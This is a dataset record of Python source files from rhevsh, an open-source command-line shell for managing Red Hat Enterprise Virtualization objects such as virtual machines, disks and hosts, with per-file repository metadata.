cli.command import Command\nfrom cli.error import CommandError\n\n\nclass RhevCommand(Command):\n \"\"\"Base class for RHEV commands.\"\"\"\n\n def check_connection(self):\n \"\"\"ensure we have a connection.\"\"\"\n if self.context.connection is None:\n self.error('not connected', help='try \\'help connect\\'')\n\n def resolve_type(self, name):\n \"\"\"return a rhev.schema.* mapping type for a type name.\"\"\"\n info = schema.type_info(name)\n if info is None:\n plural = schema.plural(name)\n if plural is None:\n self.error('no such type: %s' % name)\n info = schema.type_info(name)\n assert info is not None\n return info[0]._SupersedingClass()\n return info[1]._SupersedingClass()\n\n def resolve_plural_type(self, name):\n \"\"\"resolve a plural type only.\"\"\"\n info = schema.type_info(name)\n if info is None:\n self.error('no such type: %s' % name)\n return info[1]._SupersedingClass()\n\n def resolve_singular_type(self, name):\n \"\"\"return a singular type only.\"\"\"\n plural = schema.plural(name)\n if plural is None:\n self.error('no such type: %s' % name)\n info = schema.type_info(plural)\n assert info is not None\n return info[0]._SupersedingClass()\n\n def resolve_base(self, options):\n \"\"\"resolve a base object from a set of '--typeid value' options.\"\"\"\n self.check_connection()\n path = []\n for opt in options:\n if not opt.endswith('id'):\n continue\n typename = opt[2:-2]\n typ = self.resolve_singular_type(typename)\n if typ is None:\n self.error('unknown type: %s' % typename)\n path.append((typ, typename, options[opt]))\n base = None\n for (typ,typename,id) in path:\n try:\n base = self.context.connection.get(typ, id=id, base=base)\n except rhev.Error:\n base = None # work around RHEV issue #120\n if base is None:\n base = self.context.connection.get(typ, name=id, base=base)\n if base is None:\n self.error('could not locate %s: %s' % (typename, id))\n return\n return base\n\n def update_object(self, obj, options):\n \"\"\"Create a new binding type of type `typ', and set its attributes\n with values from `options'.\"\"\"\n attrs = [ opt for opt in options if not opt.endswith('id') ]\n attrs.sort()\n for attr in attrs:\n baseobj = obj\n basetype = type(obj)\n walked = []\n path = attr[2:].split('-')\n for pa in path[:-1]:\n walked.append(pa)\n try:\n subobj = getattr(baseobj, pa) \n subtype = getattr(basetype, pa)\n except AttributeError:\n self.error('no such attribute: %s' % '.'.join(walked))\n if subobj is None:\n subtype = schema.subtype(subtype)\n if issubclass(subtype, schema.ComplexType):\n setattr(baseobj, pa, schema.new(subtype))\n subobj = getattr(baseobj, pa)\n baseobj = subobj\n basetype = subtype\n if not hasattr(basetype, path[-1]):\n self.error('no such attribute: %s' % attr)\n setattr(baseobj, path[-1], options[attr])\n return obj \n\n def read_input(self):\n \"\"\"If input was provided via stdin, then parse it and return a binding\n instance.\"\"\"\n stdin = self.context.terminal.stdin\n # REVISE: this is somewhat of a hack (this detects a '<<' redirect by\n # checking if stdin is a StringIO)\n if not hasattr(stdin, 'len'):\n return\n buf = stdin.read()\n try:\n obj = schema.create_from_xml(buf)\n except rhev.ParseError:\n self.error('could not parse input')\n return obj\n\n def get_singular_types(self):\n \"\"\"Return a list of valid top-level singular types.\"\"\"\n types = []\n for info in schema._mapping_data:\n if info[1] and info[2]:\n name = schema.singular(info[2])\n types.append(name)\n return types\n\n def get_plural_types(self):\n \"\"\"Return a list of valid top-level plural types.\"\"\"\n types = []\n for info in schema._mapping_data:\n if info[1] and info[2]:\n types.append(info[2])\n return types\n\n def get_attributes(self, typ, prefix=''):\n \"\"\"Return a list of valid attributes for a type.\"\"\"\n attrs = []\n for elem in typ._ElementMap:\n name = elem.localName()\n if name in ('actions', 'link', 'fault'):\n continue\n prop = getattr(typ, name)\n if not isinstance(prop, property):\n continue\n subtype = schema.subtype(prop)\n if issubclass(subtype, schema.ComplexType):\n info = schema.type_info(subtype)\n if info is None:\n attrs += self.get_attributes(subtype, prefix + name + '.')\n elif info[3]:\n attrs.append('%s%s.id' % (prefix, name))\n attrs.append('%s%s.name' % (prefix, name))\n elif issubclass(subtype, schema.SimpleType):\n attrs.append('%s%s' % (prefix, name))\n for attr in typ._AttributeMap:\n if not prefix and attr in ('id', 'href'):\n continue\n name = attr.localName()\n attrs.append('%s%s' % (prefix, name))\n return attrs\n\n def get_attribute_options(self, typ):\n \"\"\"Return a list of valid data binding options for a type.\"\"\"\n attrs = self.get_attributes(typ)\n options = []\n for attr in attrs:\n option = '--%s' % attr.replace('.', '-')\n options.append(option)\n return options\n\n def get_object(self, typ, id, base):\n \"\"\"Return an object by id or name.\"\"\"\n self.check_connection()\n connection = self.context.connection\n try:\n obj = connection.get(typ, id=id, base=base)\n except rhev.Error:\n obj = None # work around RHEV issue #120\n if obj is None:\n obj = connection.get(typ, name=id, base=base)\n return obj\n\n def get_actions(self, obj):\n \"\"\"Return the actions supported for the object `obj'.\"\"\"\n actions = []\n if hasattr(obj, 'actions') and obj.actions:\n for link in obj.actions.link:\n actions.append(link.rel)\n return actions\n" }, { "alpha_fraction": 0.5966257452964783, "alphanum_fraction": 0.6004601120948792, "avg_line_length": 29.325580596923828, "blob_id": "338d2b55b97a981181d220e49e503ac0fc4c1c8e", "content_id": "50315313a62663b39ec55a158ad19180b9f6213a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1304, "license_type": "permissive", "max_line_length": 72, "num_lines": 43, "path": "/lib/rhevsh/command/status.py", "repo_name": "geertj/rhevsh", "src_encoding": "UTF-8", "text": "#\n# This file is part of rhevsh. rhevsh is free software that is made\n# available under the MIT license. Consult the file \"LICENSE\" that is\n# distributed together with this file for the exact licensing terms.\n#\n# rhevsh is copyright (c) 2011 by the rhevsh authors. See the file\n# \"AUTHORS\" for a complete overview.\n\nfrom rhevsh.command.command import RhevCommand\n\n\nclass StatusCommand(RhevCommand):\n\n name = 'status'\n description = 'show status'\n helptext = \"\"\"\\\n == Usage ==\n\n status\n\n == Description ==\n\n Show the exist status of the last command and the staus of the\n connection to RHEV manager.\n \"\"\"\n\n def execute(self):\n context = self.context\n stdout = context.terminal.stdout\n status = context.status\n if status is not None:\n sstatus = str(status)\n for sym in dir(context):\n if sym[0].isupper() and getattr(context, sym) == status:\n sstatus += ' (%s)' % sym\n else:\n sstatus = 'N/A'\n stdout.write('last command status: %s\\n' % sstatus)\n if context.connection:\n sstatus = 'connected to %s' % context.connection.url\n else:\n sstatus = 'not connected'\n stdout.write('connection: %s\\n' % sstatus)\n" }, { "alpha_fraction": 0.588221549987793, "alphanum_fraction": 0.5956999063491821, "avg_line_length": 30.007246017456055, "blob_id": "57ed9ad48a7a70730d60af5cde3eb362941d9d37", "content_id": "235bd9ef9628a8eabd52f5f1e445ffe7557f73e6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4279, "license_type": "permissive", "max_line_length": 77, "num_lines": 138, "path": "/lib/rhevsh/command/create.py", "repo_name": "geertj/rhevsh", "src_encoding": "UTF-8", "text": "#\n# This file is part of rhevsh. rhevsh is free software that is made\n# available under the MIT license. Consult the file \"LICENSE\" that is\n# distributed together with this file for the exact licensing terms.\n#\n# rhevsh is copyright (c) 2011 by the rhevsh authors. See the file\n# \"AUTHORS\" for a complete overview.\n\nimport rhev\nfrom rhev import schema\nfrom rhevsh.command.command import RhevCommand\n\n\nclass CreateCommand(RhevCommand):\n\n name = 'create'\n aliases = ('add',)\n description = 'create a new object'\n args_check = 1\n valid_options = [ ('*', str) ]\n\n helptext0 = \"\"\"\\\n == Usage ==\n\n create <type> [base identifiers] [attribute options]\n\n == Description ==\n\n Create a new object with type <type>.\n\n == Available Types ==\n\n The following types of objects can be created:\n\n $types\n\n == Base Identifiers ==\n\n Some objects can only be created inside other objects. For example a\n disk can only be created inside a virtual machine. In this case, one\n or more base identifier options need to be given to identify the\n containing object. These options have the form --<type>id <id>.\n\n == Attribute Options ==\n\n Attribute options specifiy values for attributes of the to be created\n object.\n\n Attributes for the new object can be specified in one of two ways.\n\n * Using command-line options. For example, \"--description foo\"\n would create the object with a description of \"foo\".\n * By providing pre-formatted input, in the format specified by the\n 'input_format' configuration variable. In this case the input\n needs to be provided using the '<<' input redirection operator.\n\n Type 'help create <type>' to see an overview of which attributes are\n available for a given type.\n\n == Examples ==\n\n This create a new virtual machine in the Default cluster based on the\n Blank template:\n\n $ create vm --name myvm --memory 512000000 --type SERVER \\\\\n --cluster-name Default --template-name Blank\n\n This example does the same but now using pre-formatted input:\n\n $ create vm << EOM\n > <vm>\n > <name>myvm</name>\n > <memory>512000000</memory>\n > <type>SERVER</type>\n > <cluster><name>Default</name></cluster>\n > <template><name>Blank</name></template>\n > </vm>\n > EOM\n\n == Return Values ==\n\n $statuses\n \"\"\"\n\n helptext1 = \"\"\"\\\n == Usage ==\n\n create <type> [base identifiers] [attribute options]\n\n == Description ==\n\n Create a new object with type $type. See 'help create' for generic\n help on creating objects.\n\n == Attribute Options ==\n\n The following options are available for objects with type $type:\n\n $options\n\n == Return Values ==\n\n $statuses\n \"\"\"\n\n def execute(self):\n \"\"\"Execute the \"create\" command.\"\"\"\n self.check_connection()\n connection = self.context.connection\n stdout = self.context.terminal.stdout\n typename = self.arguments[0]\n typ = self.resolve_singular_type(typename)\n base = self.resolve_base(self.options)\n obj = self.read_input()\n if obj is None:\n obj = schema.new(typ)\n obj = self.update_object(obj, self.options)\n connection.create(obj, base=base)\n\n def show_help(self):\n \"\"\"Show help for \"create\".\"\"\"\n subst = {}\n args = self.arguments\n if len(args) == 0:\n helptext = self.helptext0\n types = self.get_singular_types()\n subst['types'] = self.format_list(types)\n elif len(args) == 1:\n helptext = self.helptext1\n typ = self.resolve_singular_type(args[0])\n subst['type'] = args[0]\n options = self.get_attribute_options(typ)\n subst['options'] = self.format_list(options)\n statuses = self.get_statuses()\n subst['statuses'] = self.format_list(statuses)\n stdout = self.context.terminal.stdout\n helptext = self.format_help(helptext, subst)\n stdout.write(helptext)\n" }, { "alpha_fraction": 0.5713076591491699, "alphanum_fraction": 0.573000431060791, "avg_line_length": 47.224491119384766, "blob_id": "af1f42dd0c2568f04b4a1f78d639b13d80267e69", "content_id": "012275c9e0a071974f040557d147bb658168139d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2363, "license_type": "permissive", "max_line_length": 72, "num_lines": 49, "path": "/lib/rhevsh/options.py", "repo_name": "geertj/rhevsh", "src_encoding": "UTF-8", "text": "#\n# This file is part of rhevsh. rhevsh is free software that is made\n# available under the MIT license. Consult the file \"LICENSE\" that is\n# distributed together with this file for the exact licensing terms.\n#\n# rhevsh is copyright (c) 2011 by the rhevsh authors. See the file\n# \"AUTHORS\" for a complete overview.\n\nimport textwrap\nfrom optparse import OptionParser, HelpFormatter\n\n\nclass RhevshOptionParser(OptionParser):\n\n usage='%prog [options]\\n %prog [options] command...'\n description = textwrap.dedent(\"\"\"\\\n This program is a command-line interface to Red Hat Enterprise\n Virtualization.\n \"\"\")\n\n def __init__(self):\n OptionParser.__init__(self, usage=self.usage,\n description=self.description)\n self.add_option('-d', '--debug', action='store_true',\n help='enable debugging')\n self.add_option('-v', '--verbose', action='store_true',\n help='be more verbose')\n self.add_option('-H', '--help-commands', action='store_true',\n help='show help on commands')\n self.add_option('-U', '--url',\n help='specifies the API entry point URL')\n self.add_option('-u', '--username', help='connect as this user')\n self.add_option('-p', '--password', help='specify password')\n self.add_option('-r', '--read-input', action='store_true',\n help='read pre-formatted input on stdin')\n self.add_option('-i', '--input-format', metavar='FORMAT',\n help='input format for pre-formatted input')\n self.add_option('-o', '--output-format', metavar='FORMAT',\n help='specfies the output format')\n self.add_option('-c', '--connect', action='store_true',\n help='automatically connect')\n self.add_option('-f', '--filter', metavar='FILE',\n help='read commands from FILE instead of stdin')\n self.add_option('-w', '--wide', action='store_true',\n help='wide display')\n self.add_option('-n', '--no-header', action='store_false',\n dest='header', help='suppress output header')\n self.add_option('-F', '--fields', help='fields to display')\n self.disable_interspersed_args()\n" }, { "alpha_fraction": 0.6202036142349243, "alphanum_fraction": 0.6288175582885742, "avg_line_length": 30.14634132385254, "blob_id": "a973537fd19e0f2258a24cba341ec0cb0b38e2c9", "content_id": "5a10ef7ad9424711eebf8444610194ef9a18d90a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1277, "license_type": "permissive", "max_line_length": 74, "num_lines": 41, "path": "/setup.py", "repo_name": "geertj/rhevsh", "src_encoding": "UTF-8", "text": "#\n# This file is part of rhevsh. rhevsh is free software that is made\n# available under the MIT license. Consult the file \"LICENSE\" that is\n# distributed together with this file for the exact licensing terms.\n#\n# rhevsh is copyright (c) 2011 by the rhevsh authors. See the file\n# \"AUTHORS\" for a complete overview.\n\nimport os\nimport sys\n\nfrom distutils.command.build import build\nfrom setuptools import setup, Command\n\n\nversion_info = {\n 'name': 'rhevsh',\n 'version': '0.9',\n 'description': 'A command-line interface to Red Hat Enterprise'\n ' Virtualization',\n 'author': 'Geert Jansen',\n 'author_email': '[email protected]',\n 'url': 'https://github.com/geertj/rhevsh',\n 'license': 'MIT',\n 'classifiers': [\n 'Development Status :: 3 - Alpha',\n 'Environment :: Console',\n 'Intended Audience :: System Administrators',\n 'License :: OSI Approved :: MIT License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python' ],\n}\n\n\nsetup(\n package_dir = { '': 'lib' },\n packages = [ 'rhevsh', 'rhevsh.command', 'rhevsh.format' ],\n install_requires = [ 'python-cli >= 1.0', 'python-rhev >= 0.9' ],\n entry_points = { 'console_scripts': [ 'rhevsh = rhevsh.main:main' ] },\n **version_info\n)\n" }, { "alpha_fraction": 0.603484034538269, "alphanum_fraction": 0.6072168946266174, "avg_line_length": 27.702381134033203, "blob_id": "f06f00e6a82d5f714b49736aa153697b71b1adbe", "content_id": "ecf4d87d0ac57c4a60559721be082326cd5b4919", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2411, "license_type": "permissive", "max_line_length": 69, "num_lines": 84, "path": "/lib/rhevsh/main.py", "repo_name": "geertj/rhevsh", "src_encoding": "UTF-8", "text": "#\n# This file is part of rhevsh. rhevsh is free software that is made\n# available under the MIT license. Consult the file \"LICENSE\" that is\n# distributed together with this file for the exact licensing terms.\n#\n# rhevsh is copyright (c) 2011 by the rhevsh authors. See the file\n# \"AUTHORS\" for a complete overview.\n\nimport os\nimport sys\n\nfrom rhevsh.object import create\nfrom rhevsh.options import RhevshOptionParser\nfrom rhevsh.context import RhevshExecutionContext\n\n\ndef copy_environment_vars(context):\n \"\"\"Copy environment variables into configuration variables in the\n execution context.\"\"\"\n for var in ('url', 'username', 'password'):\n envvar = 'RHEV_%s' % var.upper()\n if envvar in os.environ:\n try:\n context.settings[var] = os.environ[envvar]\n except ValueError, e:\n sys.stderr.write('error: %s\\n' % str(e))\n return False\n return True\n\n\ndef copy_cmdline_options(options, context, parser):\n \"\"\"Copy command-line options into configuration variables in the\n execution context.\"\"\"\n for opt in parser.option_list:\n if not opt.dest:\n continue\n value = getattr(options, opt.dest)\n if value is None:\n continue\n try:\n context.settings[opt.dest] = value\n except KeyError:\n pass\n except ValueError, e:\n sys.stderr.write('error: %s\\n' % str(e))\n return False\n return True\n\n\ndef main():\n \"\"\"Entry point for rhevsh.\"\"\"\n parser = create(RhevshOptionParser)\n opts, args = parser.parse_args()\n\n context = create(RhevshExecutionContext)\n if not copy_environment_vars(context):\n sys.exit(1)\n if not copy_cmdline_options(opts, context, parser):\n sys.exit(1)\n\n if opts.help_commands:\n args = ['help']\n\n if opts.filter:\n try:\n sys.stdin = file(opts.filter)\n except IOError, e:\n sys.stderr.write('error: %s\\n' % e.strerror)\n sys.exit(1)\n\n if opts.connect or len(args) > 0:\n context.execute_string('connect\\n')\n\n if len(args) == 0:\n context.execute_loop()\n else:\n command = ' '.join(args)\n if opts.read_input:\n buf = sys.stdin.read()\n command += '<<EOM\\n%s\\nEOM' % buf\n command += '\\n'\n context.execute_string(command)\n\n sys.exit(context.status)\n" }, { "alpha_fraction": 0.6220177412033081, "alphanum_fraction": 0.6244035363197327, "avg_line_length": 29.88421058654785, "blob_id": "baa9eaf92f217863e86d6c85c7dd9156e5d25382", "content_id": "19d937232b281bcd5c2c25ca84ba279d9acbe51d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2934, "license_type": "permissive", "max_line_length": 77, "num_lines": 95, "path": "/lib/rhevsh/command/delete.py", "repo_name": "geertj/rhevsh", "src_encoding": "UTF-8", "text": "#\n# This file is part of rhevsh. rhevsh is free software that is made\n# available under the MIT license. Consult the file \"LICENSE\" that is\n# distributed together with this file for the exact licensing terms.\n#\n# rhevsh is copyright (c) 2011 by the rhevsh authors. See the file\n# \"AUTHORS\" for a complete overview.\n\nfrom cli.error import CommandError\nfrom rhev import schema\nfrom rhevsh.command.command import RhevCommand\n\n\nclass DeleteCommand(RhevCommand):\n\n name = 'delete'\n aliases = ('remove',)\n description = 'delete an object'\n args_check = 2\n valid_options = [ ('*', str) ]\n\n helptext = \"\"\"\\\n == Usage ==\n \n delete <type> <id> [object identifiers]\n\n == Description ==\n\n Delete an object. The following arguments are required:\n\n * type The type of object to delete\n * id The object identifier\n\n Objects can be identified by their name and by their unique id.\n\n == Available Types ==\n\n The <type> parameter must be one of the following.\n\n $types\n\n == Object Identifiers ==\n\n Some objects can only exist inside other objects. For example, a disk\n can only exist in the content of a virtual machine. In this case, one\n or more object identifier opties needs to be provided to identify the\n containing object.\n\n An object identifier is an option of the form '--<type>id <id>'. This\n would identify an object with type <type> and id <id>. See the\n examples section below for a few examples.\n\n == Examples ==\n\n Delete a virtual machine named \"myvm\"\n\n $ delete vm myvm\n\n Delete the disk \"disk0\" from the virtual machine named \"myvm\"\n\n $ delete disk disk0 --vmid myvm\n\n == Return values ==\n\n This command will exit with one of the following statuses. To see the\n exit status of the last command, type 'status'.\n\n $statuses\n \"\"\"\n\n def execute(self):\n \"\"\"Execute \"delete\".\"\"\"\n self.check_connection()\n stdout = self.context.terminal.stdout\n typename, id = self.arguments\n typ = self.resolve_singular_type(typename)\n base = self.resolve_base(self.options)\n obj = self.get_object(typ, id, base)\n if obj is None:\n self.error('object does not exist')\n connection = self.context.connection\n result = connection.delete(obj)\n self.context.formatter.format(self.context, result)\n\n def show_help(self):\n \"\"\"Show help for \"delete\".\"\"\"\n helptext = self.helptext\n subst = {}\n types = self.get_singular_types()\n subst['types'] = self.format_list(types)\n statuses = self.get_statuses()\n subst['statuses'] = self.format_list(statuses)\n stdout = self.context.terminal.stdout\n helptext = self.format_help(helptext, subst)\n stdout.write(helptext)\n" }, { "alpha_fraction": 0.5861340761184692, "alphanum_fraction": 0.5920875668525696, "avg_line_length": 32.16560363769531, "blob_id": "824b14f065303db191e3b69f732f90686966e669", "content_id": "b48aaab1417dfc4222761843223067899537fd5e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5207, "license_type": "permissive", "max_line_length": 77, "num_lines": 157, "path": "/lib/rhevsh/command/action.py", "repo_name": "geertj/rhevsh", "src_encoding": "UTF-8", "text": "#\n# This file is part of rhevsh. rhevsh is free software that is made\n# available under the MIT license. Consult the file \"LICENSE\" that is\n# distributed together with this file for the exact licensing terms.\n#\n# rhevsh is copyright (c) 2011 by the rhevsh authors. See the file\n# \"AUTHORS\" for a complete overview.\n\nimport rhev\nfrom rhev import schema\nfrom rhevsh.command.command import RhevCommand\n\n\nclass ActionCommand(RhevCommand):\n\n name = 'action'\n description = 'execute an action on an object'\n usage = 'action <type> <action> <id> [options]'\n args_check = 3\n valid_options = [ ('*', str) ]\n\n helptext0 = \"\"\"\\\n == Usage ==\n\n action <type> <id> <action> [base identifiers] [attribute options]\n\n == Description ==\n\n Executes the an action on an object. This command requires the\n following arguments:\n\n * type - The type to operate on\n * id - The name or id identifying the object\n * action - The action to take\n\n For more specific help on the available actions and options, use\n 'help action <type> <id>'\n\n == Available types ==\n\n The <type> parameter must be one of the following:\n\n $types\n\n == Return values ==\n\n This command will return one of the following statuses. To see the\n exit status of the last command, type 'status'.\n\n $statuses\n \"\"\"\n\n helptext1 = \"\"\"\\\n == Usage ==\n\n action <type> <id> <action> [object identifiers] [attribute options]\n\n == Description ==\n\n Executes the an action on an object. This command requires the\n following arguments:\n\n * type - The type to operate on\n * id - The name or id identifying the object\n * action - The action to take\n\n == Available actions ==\n\n The following actions are available for the specified $type object:\n\n $actions\n\n == Object Identifiers ==\n\n Some objects can only exist inside other objects. For example, a disk\n can only exist in the content of a virtual machine. In this case, one\n or more object identifiers needs to be provided to identify the\n containing object.\n\n An object identifier is an option of the form '--<type>id <id>'. This\n would identify an object with type <type> and id <id>. See the\n examples section below for a few examples.\n\n == Attribute Options ==\n\n The following attribute options are understood. Note: this lists all\n available attribute options for actions. Not every action supports\n every object!\n\n $options\n\n == Examples ==\n\n This example migrates a vm named \"vm0\" to the host named \"host1\":\n\n $ action vm vm0 migrate --host-name host1\n\n This example detaches a host nic with id '12345' from host '0':\n\n $ action nic 12345 detach --hostid 0\n \n == Return values ==\n\n This command will exit with one of the following statuses. To see the\n exit status of the last command, type 'status'.\n\n $statuses\n \"\"\"\n\n def execute(self):\n \"\"\"Execute the action command.\"\"\"\n self.check_connection()\n typename, name, action = self.arguments\n typ = self.resolve_singular_type(typename)\n base = self.resolve_base(self.options)\n obj = self.get_object(typ, name, base)\n actionobj = schema.new(schema.Action)\n actionobj = self.update_object(actionobj, self.options)\n connection = self.context.connection\n try:\n result = connection.action(obj, action, actionobj)\n except rhev.Error, e:\n self.error(str(e))\n if result.status != 'COMPLETE':\n self.error('action status: %s' % result.status)\n\n def show_help(self):\n \"\"\"Show help for the action command.\"\"\"\n subst = {}\n args = self.arguments\n connection = self.context.connection\n if len(args) < 2:\n helptext = self.helptext0\n types = self.get_singular_types()\n subst['types'] = self.format_list(types)\n elif len(args) >= 2:\n helptext = self.helptext1\n typ = self.resolve_singular_type(args[0])\n subst['type'] = args[0]\n subst['id'] = args[1]\n if connection is None:\n subst['action'] = 'Not connected, cannot list actions.'\n else:\n base = self.resolve_base(self.options)\n obj = self.get_object(typ, args[1], base)\n if obj is None:\n subst['actions'] = 'No such object, cannot list actions.'\n else:\n actions = self.get_actions(obj)\n subst['actions'] = self.format_list(actions)\n options = self.get_attribute_options(schema.Action)\n subst['options'] = self.format_list(options, bullet='')\n statuses = self.get_statuses()\n subst['statuses'] = self.format_list(statuses)\n stdout = self.context.terminal.stdout\n helptext = self.format_help(helptext, subst)\n stdout.write(helptext)\n" }, { "alpha_fraction": 0.6361934542655945, "alphanum_fraction": 0.639625608921051, "avg_line_length": 31.704082489013672, "blob_id": "14323f110d7cbee60e8c080d89f36514ada2808c", "content_id": "f622d602ce99c5d3019091d61671a4fc47c56a37", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3205, "license_type": "permissive", "max_line_length": 76, "num_lines": 98, "path": "/lib/rhevsh/context.py", "repo_name": "geertj/rhevsh", "src_encoding": "UTF-8", "text": "#\n# This file is part of rhevsh. rhevsh is free software that is made\n# available under the MIT license. Consult the file \"LICENSE\" that is\n# distributed together with this file for the exact licensing terms.\n#\n# rhevsh is copyright (c) 2011 by the rhevsh authors. See the file\n# \"AUTHORS\" for a complete overview.\n\nimport sys\nimport logging\nimport textwrap\n\nfrom cli.context import ExecutionContext\nimport rhev\nfrom rhevsh.settings import RhevshSettings\nfrom rhevsh.command import *\nfrom rhevsh.format import *\nfrom rhevsh.object import create\n\n\nclass RhevshExecutionContext(ExecutionContext):\n\n Settings = RhevshSettings\n\n welcome = textwrap.dedent(\"\"\"\\\n Welcome to Red Hat Enterprise Virtualization.\n\n Type: 'help' for help with commands\n 'exit' to leave this interactive shell\n \"\"\")\n\n REMOTE_ERROR = 10\n NOT_FOUND = 11\n\n def __init__(self):\n super(RhevshExecutionContext, self).__init__()\n self.connection = None\n self._setup_logging()\n self._set_debug('debug', self.settings['debug'])\n self._set_verbose('verbose', self.settings['verbose'])\n self._set_formatter('output_format', self.settings['output_format'])\n self.settings.add_callback(self._set_debug, 'debug')\n self.settings.add_callback(self._set_verbose, 'verbose')\n self.settings.add_callback(self._set_formatter, 'output_format')\n\n def _setup_logging(self):\n \"\"\"INTERNAL: configure logging.\"\"\"\n logger = logging.getLogger()\n handler = logging.StreamHandler(sys.stdout)\n formatter = logging.Formatter('%(levelname)s: %(message)s')\n handler.setFormatter(formatter)\n logger.addHandler(handler)\n logger.setLevel(logging.DEBUG)\n self._logger = logger\n\n def _set_debug(self, key, value):\n if value:\n level = logging.DEBUG\n else:\n level = logging.INFO\n self._logger.setLevel(level)\n\n def _set_verbose(self, key, value):\n if self.connection is None:\n return\n if value:\n level = 10\n else:\n level = 1\n self.connection.verbosity = level\n\n def _set_formatter(self, key, value):\n self.formatter = create(Formatter, value)\n\n def handle_exception(self, e):\n if isinstance(e, rhev.Error):\n msg = 'error: rhev: %s\\n' % e.message\n if hasattr(e, 'detail'):\n msg += 'detail: %s\\n' % e.detail\n sys.stderr.write(msg)\n self.status = self.REMOTE_ERROR\n else:\n super(RhevshExecutionContext, self).handle_exception(e)\n\n def setup_commands(self):\n super(RhevshExecutionContext, self).setup_commands()\n self.add_command(ActionCommand)\n self.add_command(CreateCommand)\n self.add_command(ConnectCommand)\n self.add_command(CreateCommand)\n self.add_command(DeleteCommand)\n self.add_command(DisconnectCommand)\n self.add_command(HelpCommand)\n self.add_command(ListCommand)\n self.add_command(PingCommand)\n self.add_command(ShowCommand)\n self.add_command(StatusCommand)\n self.add_command(UpdateCommand)\n" }, { "alpha_fraction": 0.5963003039360046, "alphanum_fraction": 0.6031011939048767, "avg_line_length": 28.645160675048828, "blob_id": "6be3e7d8661ca6e1c15018525eefdc2f271b7528", "content_id": "dba5664b8ab1c8186efc2caa209a15b41405cde7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3676, "license_type": "permissive", "max_line_length": 78, "num_lines": 124, "path": "/lib/rhevsh/command/update.py", "repo_name": "geertj/rhevsh", "src_encoding": "UTF-8", "text": "#\n# This file is part of rhevsh. rhevsh is free software that is made\n# available under the MIT license. Consult the file \"LICENSE\" that is\n# distributed together with this file for the exact licensing terms.\n#\n# rhevsh is copyright (c) 2011 by the rhevsh authors. See the file\n# \"AUTHORS\" for a complete overview.\n\nimport rhev\nfrom rhev import schema\nfrom rhevsh.command.command import RhevCommand\n\n\nclass UpdateCommand(RhevCommand):\n\n name = 'update'\n description = 'update an object'\n args_check = 2\n valid_options = [ ('*', str) ]\n\n helptext0 = \"\"\"\\\n == Usage ==\n\n update <type> <id> [base identifiers] [attribute options]\n\n == Description ==\n\n Update an existing object. This command requires the following\n arguments:\n\n * type The type of object to delete.\n * id The identifier of the object to delete\n\n == Available Types ==\n\n The following object types are available:\n\n $types\n\n == Base Identifiers ==\n\n Some objects can only exist inside other objects. For example a disk\n can only exist as part of a virtual machine. In this case you want to\n update such an object, one or more base identifier options need to be\n given to identify the containing object. These options have the form\n --<type>id <id>.\n\n == Attribute Options ==\n\n Attribute options specifiy values for attributes of the object that is\n to be updated.\n\n Type 'help update <type>' to see an overview of which attributes are\n available for a specific type.\n\n == Examples ==\n\n This updates a virtual machine with name \"myvm\":\n\n $ update vm myvm --name newname --memory 1024000000\n\n == Return Values ==\n\n $statuses\n \"\"\"\n\n helptext1 = \"\"\"\\\n == Usage ==\n\n update <type> <id> [base identifiers] [attribute options]\n\n == Description ==\n\n Update an existing object. This command requires the following\n arguments:\n\n * type The type of object to delete.\n * id The identifier of the object to delete\n\n See 'help create' for generic help on creating objects.\n\n == Attribute Options ==\n\n The following options are available for objects with type $type:\n\n $options\n\n == Return Values ==\n\n $statuses\n \"\"\"\n\n def execute(self):\n \"\"\"Execute the \"update\" command.\"\"\"\n self.check_connection()\n connection = self.context.connection\n typename, id = self.arguments\n typ = self.resolve_singular_type(typename)\n base = self.resolve_base(self.options)\n obj = self.get_object(typ, id, base)\n # Trac issue #179: don't set fields that already exist\n obj = schema.href(obj)\n obj = self.update_object(obj, self.options)\n connection.update(obj)\n\n def show_help(self):\n \"\"\"Show help for \"update\".\"\"\"\n subst = {}\n args = self.arguments\n if len(args) == 0:\n helptext = self.helptext0\n types = self.get_singular_types()\n subst['types'] = self.format_list(types)\n else:\n helptext = self.helptext1\n typ = self.resolve_singular_type(args[0])\n subst['type'] = args[0]\n options = self.get_attribute_options(typ)\n subst['options'] = self.format_list(options)\n statuses = self.get_statuses()\n subst['statuses'] = self.format_list(statuses)\n stdout = self.context.terminal.stdout\n helptext = self.format_help(helptext, subst)\n stdout.write(helptext)\n" } ]
22
cscintia/pedometer
https://github.com/cscintia/pedometer
ddeb6eeb2c974fdaa0692d4fec757e7ff7f015f2
c8526ed3e2c807a33195e85f3ddc7c1cb4c2675a
1cbd62eb62f741919d5f3b97f962d6fa1bf54036
refs/heads/main
2023-02-25T09:47:59.133151
2021-01-18T06:47:17
2021-01-18T06:47:17
325,376,776
0
0
null
null
null
null
null
